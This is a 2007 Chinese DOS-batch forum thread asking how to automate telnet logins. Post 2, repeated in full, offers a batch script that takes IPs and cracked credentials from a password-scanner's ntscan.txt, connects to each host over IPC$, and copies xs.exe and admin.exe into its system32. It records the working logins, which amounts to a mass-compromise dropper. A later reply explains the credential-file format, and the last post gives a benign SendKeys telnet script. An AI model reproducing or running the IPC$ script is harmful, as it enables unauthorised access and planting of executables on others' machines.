不想每次输入用户名密码，或telnet上去执行一些操作什么的，能不能实现。
中国DOS联盟
联盟域名：www.cn-dos.net 论坛域名：www.cn-dos.net/forum
DOS，代表着自由开放与发展，我们努力起来，学习FreeDOS和Linux的自由开放与GNU精神，共同创造和发展美好的自由与GNU GPL世界吧！
中国DOS联盟论坛 » DOS批处理 & 脚本技术（批处理室） » 怎样自动telnet到一个服务器。
查看 908 回复 6
楼 主
怎样自动telnet到一个服务器。
发表于 2007-06-14 16:17 · 日本
第 2 楼
发表于 2007-06-14 17:27 · 中国 四川 绵阳 江油市 电信
取ntscan的ntscan.txt中的ip,user,password并copy一个xs,admin
@echo off
color 2f
for /f "tokens=1-3 delims=[]: " %%a in ('findstr . ntscan.txt') do (
set pw=%%c
if "%pw%"=="NULL" set pw=%pw:NULL=%
net use \\%%a\ipc$ "%pw%" /user:"%%b"
echo 正在ipc连接 %%a
if not errorlevel 1 copy /y xs.exe \\%%a\admin$\system32\
if not errorlevel 1 copy /y admin.exe \\%%a\admin$\system32\
if not errorlevel 1 echo %%a %%b %pw% >>ipc.txt
net use \\%%a\ipc$ /del >nul 2>nul
)
goto :eof
@echo off
color 2f
for /f "tokens=1-3 delims=[]: " %%a in ('findstr . ntscan.txt') do (
set pw=%%c
if "%pw%"=="NULL" set pw=%pw:NULL=%
net use \\%%a\ipc$ "%pw%" /user:"%%b"
echo 正在ipc连接 %%a
if not errorlevel 1 copy /y xs.exe \\%%a\admin$\system32\
if not errorlevel 1 copy /y admin.exe \\%%a\admin$\system32\
if not errorlevel 1 echo %%a %%b %pw% >>ipc.txt
net use \\%%a\ipc$ /del >nul 2>nul
)
goto :eof
第 3 楼
发表于 2007-06-14 19:22 · 日本 东京都 KDDI通信公司
ntscan是个工具吧!这个可能通不过,服务器不让随便乱装其它软件的,我想纯粹的脚本实现.
第 4 楼
发表于 2007-06-14 19:34 · 中国 四川 绵阳 江油市 电信
Originally posted by maomaoguai at 2007-6-14 07:22 PM:
ntscan是个工具吧!这个可能通不过,服务器不让随便乱装其它软件的,我想纯粹的脚本实现.
参考变通三
第 5 楼
发表于 2007-06-17 11:42 · 日本 东京都 KDDI通信公司
"取ntscan的ntscan.txt中的ip,user,password并copy一个xs,admin"
这一段我没看懂,也不知那个txt文件是格式,copy xs是什么意思.不明白.请指教!
这一段我没看懂,也不知那个txt文件是格式,copy xs是什么意思.不明白.请指教!
第 6 楼
发表于 2007-06-18 11:12 · 中国 四川 绵阳 江油市 电信
Originally posted by maomaoguai at 2007-6-17 11:42 AM:
"取ntscan的ntscan.txt中的ip,user,password并copy一个xs,admin"
这一段我没看懂,也不知那个txt文件是格式,copy xs是什么意思.不明白.请指教!
用文本文件ntscan.txt里的ip,用户名,密码建个ipc$链接(还得有admin$)
并copy一个xs.exe和admin.exe过去
ntscan.txt的格式
: Administrator 123456
: root 123456
: root 123456
: ag ag123
第 7 楼
发表于 2007-06-18 14:18 · 中国 上海 联通
@echo off
rem 假设服务器地址为aaa，用户名为bbb，密码为ccc
echo Set WshShell = CreateObject("WScript.Shell")>%tmp%\MyTelnet.vbs
echo WshShell.Run "telnet aaa">>%tmp%\MyTelnet.vbs
echo WScript.Sleep(2000)>>%tmp%\MyTelnet.vbs
echo WshShell.SendKeys "bbb{enter}">>%tmp%\MyTelnet.vbs
echo WScript.Sleep(2000)>>%tmp%\MyTelnet.vbs
echo WshShell.SendKeys "ccc{enter}">>%tmp%\MyTelnet.vbs
start cscript /nologo %tmp%\MyTelnet.vbs
ping -n 10 127.1>nul
del /q %tmp%\MyTelnet.vbs
论坛跳转: